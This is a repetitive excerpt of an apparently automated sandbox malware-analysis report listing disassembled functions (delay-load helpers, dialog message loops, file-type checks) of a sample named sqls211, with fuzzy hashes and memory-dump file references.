Instruction ID: 03f77114d4934992448d000375a7d1f5fd8bb19fd6de9630e77b2c3b179e8863
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: 63D0C771214209BADF416B61CC1297E7595EB01340F048127BA41D5351EAF1D911A556

Function 00CDE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00CDE5E3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: 622f7e2c3c0afc7e97994772938270ed1d33937337532c50974220fcacbd3d00
Instruction ID: 3120791142763dc701e80dd8d2fe227639f1cd239e8251bb4e21796bdc6e6ef1
Opcode Fuzzy Hash: 622f7e2c3c0afc7e97994772938270ed1d33937337532c50974220fcacbd3d00
Instruction Fuzzy Hash: 92D0A9BC0882408AC212FBA8A8827187250B330B44F804153F334C9390EA6080C2F622

Function 00CDDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00CD1B3E), ref: 00CDDD92

Part of subcall function 00CDB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDB579
Part of subcall function 00CDB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDB58A
Part of subcall function 00CDB568: IsDialogMessageW.USER32(00010424,?), ref: 00CDB59E
Part of subcall function 00CDB568: TranslateMessage.USER32(?), ref: 00CDB5AC
Part of subcall function 00CDB568: DispatchMessageW.USER32(?), ref: 00CDB5B6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 9a506bdab83e35a1f69e42334b8cb36ff047c4af97822df4bef8f055e586bc85
Instruction ID: e531e7e2424602b1463601a810f241704a60473cea15213258143b83ed08ea89
Opcode Fuzzy Hash: 9a506bdab83e35a1f69e42334b8cb36ff047c4af97822df4bef8f055e586bc85
Instruction Fuzzy Hash: 85D09E31144300BAD6122B51DD06F0A7AA2AB98B04F404555B384741B286729D31EF11

Function 00CC98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00CC97BE), ref: 00CC98C8

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: d2a30f54257d40b780d4f57ee64c62dbb3453776adfed8a356e2456b21983bce
Instruction ID: 90c4875ed8baf03cd8750f7532d88da876f26329fb6392be1beab35c92f1e97a
Opcode Fuzzy Hash: d2a30f54257d40b780d4f57ee64c62dbb3453776adfed8a356e2456b21983bce
Instruction Fuzzy Hash: 93C01234800145958E204624D84C6997711EA53365BB486D8C0388A0E1C332CD47EA01

Function 00CDE1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aa31872abf5f4143b54708f509934a294b57586a846f171030b5340a6397db15
Instruction ID: 9ce15e9890fb3a5c607f063160668b835430f537d228528e8dc45fe39d4a87ca
Opcode Fuzzy Hash: aa31872abf5f4143b54708f509934a294b57586a846f171030b5340a6397db15
Instruction Fuzzy Hash: 00B012D535C244BC3104314A2D42C3B010CC0C1B28330843FFE01C86C1D840AC103832

Function 00CDE1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9d420eb8328818fa8acd394d44e3bdcbaef74933b9fa7b32fe2e67ab1eb3eb0c
Instruction ID: cc07e88e0541398dd6d04932ef4a4972d2b24716ddb40f41c925dd842d458061
Opcode Fuzzy Hash: 9d420eb8328818fa8acd394d44e3bdcbaef74933b9fa7b32fe2e67ab1eb3eb0c
Instruction Fuzzy Hash: A5B012D535C248AC3144714E2D42C3B010CC0C0B28330403FFA05C83C1D8406C103932

Function 00CDE1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 765cb816fddeb8d86a9c1907b4fb73dfeaec59a1e34572a4e2b89bde9b8edb0b
Instruction ID: 8c101ed0473f597e093d72fa7a866f0a20d50b8a6de4be5e3516e933685b9e89
Opcode Fuzzy Hash: 765cb816fddeb8d86a9c1907b4fb73dfeaec59a1e34572a4e2b89bde9b8edb0b
Instruction Fuzzy Hash: 9DB012D135C244AC3144720A2D02C3B010CC0C1B28330C03FFE09C83C1D840AC043432

Function 00CDE282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 51c2cfde7a0b2dd7e27458e8d9f3a524702898d4d792af558c4c2bd3ef15189c
Instruction ID: 98e1d1531db4a489c56d3a40a5c3688a3ddbaae7d986e228578123b867f628a7
Opcode Fuzzy Hash: 51c2cfde7a0b2dd7e27458e8d9f3a524702898d4d792af558c4c2bd3ef15189c
Instruction Fuzzy Hash: DBB012E135C154AC3144710A2E03C3B018CC0C0B28330403FFA05C83C1DC406D013432

Function 00CDE246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1272487acf41393d4427014b032cb8b673ab5d0ba29e7da70f685be819523cd9
Instruction ID: 38709f3a1525955a5090fee80ce97513b68b79b595965d2b3fedc11caa7895bb
Opcode Fuzzy Hash: 1272487acf41393d4427014b032cb8b673ab5d0ba29e7da70f685be819523cd9
Instruction Fuzzy Hash: 75B012D135D184AC3148710A2D02C3B010DC0C1B28330803FFE05C83C1D840AC403432

Function 00CDE250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4ef68795ad313e8d260d0218752d6d156660442b9ca849ec2ddb3b9493341464
Instruction ID: f97fd66f695532eb05434c82143a4933a4fa1caa00f77ffb861a854a69bf9435
Opcode Fuzzy Hash: 4ef68795ad313e8d260d0218752d6d156660442b9ca849ec2ddb3b9493341464
Instruction Fuzzy Hash: 3FB012E135D284BC3188720A2D02C3B010DC0C0B28330413FFA05C83C1D8406C443432

Function 00CDE26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d18ea00f69753e2a89f57ac6602b1d754673cef5f428f975d151334c47c08d31
Instruction ID: 54d91ef4607e92cc17a9debe6fed04dbb040e2aab48591c3f293e00d43f20e13
Opcode Fuzzy Hash: d18ea00f69753e2a89f57ac6602b1d754673cef5f428f975d151334c47c08d31
Instruction Fuzzy Hash: 1AB012D135C154AC3144711A2D02C3B014CC0C1B28330803FFF05C83C1D840AC003432

Function 00CDE264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9b0a807fe99f73acc61739f36ffbc8d29867c4ca39302e73ab4e584bc4a33d56
Instruction ID: 210b3209b2953e72bdbdd12cac448a4a65eb3f3fd426ae025972661f6a2b3680
Opcode Fuzzy Hash: 9b0a807fe99f73acc61739f36ffbc8d29867c4ca39302e73ab4e584bc4a33d56
Instruction Fuzzy Hash: C3B012D136D184AC3148710A2D02C3B014DC4C0B28330403FFA06C83C1D8406C003432

Function 00CDE20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6fe332f775f78c316459fb0f381aeb5e4f65943928d1c048e8e98da8e42a8974
Instruction ID: 68ad2d26d515abfb1113df245f46af68b0835b7b5727121a69d5c06e92129b8b
Opcode Fuzzy Hash: 6fe332f775f78c316459fb0f381aeb5e4f65943928d1c048e8e98da8e42a8974
Instruction Fuzzy Hash: 2FB012D135C244AC3144720A2E03C3B010CC0C0B28330803FFA09C83C1DC506D093432

Function 00CDE200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0aabf1a1c02b1548eecf371448ec7427db45bc83bd4bd54495d9f6cc9384b4ec
Instruction ID: f8ebe13bf0437518e251044e75e4b4b1b74865359203979adcbfb7aa4e50f3a9
Opcode Fuzzy Hash: 0aabf1a1c02b1548eecf371448ec7427db45bc83bd4bd54495d9f6cc9384b4ec
Instruction Fuzzy Hash: FEB012D135C384BC3184720A2D02C3B010CC0C0B28330813FFA09C83C1D8406C443432

Function 00CDE21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1f7e45597f410a824fe515aab3793a03a91d7978a12a73a25e59963e19e70a16
Instruction ID: 9112c38e77f2fb4c07a1a76bc15033dd5e2476c56a0965dca6cc3b7b70000c7e
Opcode Fuzzy Hash: 1f7e45597f410a824fe515aab3793a03a91d7978a12a73a25e59963e19e70a16
Instruction Fuzzy Hash: 8DB012E135C144BC3144710A2D02C3B010CC0C1F28330803FFF05C83C1D840AD003432

Function 00CDE228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9d1e642c10aa7c52aa2caebf3fa59e3ecf85e7e388b990e41eba3333f49f4f41
Instruction ID: 365084fa6e0ffa1b7dfce38b91089cf8a259de41ceb4874cd3a6bddbee0dc96b
Opcode Fuzzy Hash: 9d1e642c10aa7c52aa2caebf3fa59e3ecf85e7e388b990e41eba3333f49f4f41
Instruction Fuzzy Hash: 52B012E135C284BC3184710A2D02C3B010CC0C0F28330413FFB05C83C1D8406D403432

Function 00CDE23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc85c0fb370c59429e5b94ca7b32f107a7adf4fdf6e42cc7bbb8b021aabaef28
Instruction ID: fcba007005f39ee154801e917e945b133638c910280025ad19bed176dec55e33
Opcode Fuzzy Hash: fc85c0fb370c59429e5b94ca7b32f107a7adf4fdf6e42cc7bbb8b021aabaef28
Instruction Fuzzy Hash: 7DB012E135C144AC3144710B2D02C3B010CC0C0F28330403FFB05C83C1D8406D003432

Function 00CDE232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDE1E3

Part of subcall function 00CDE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDE8D0
Part of subcall function 00CDE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDE8E1

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
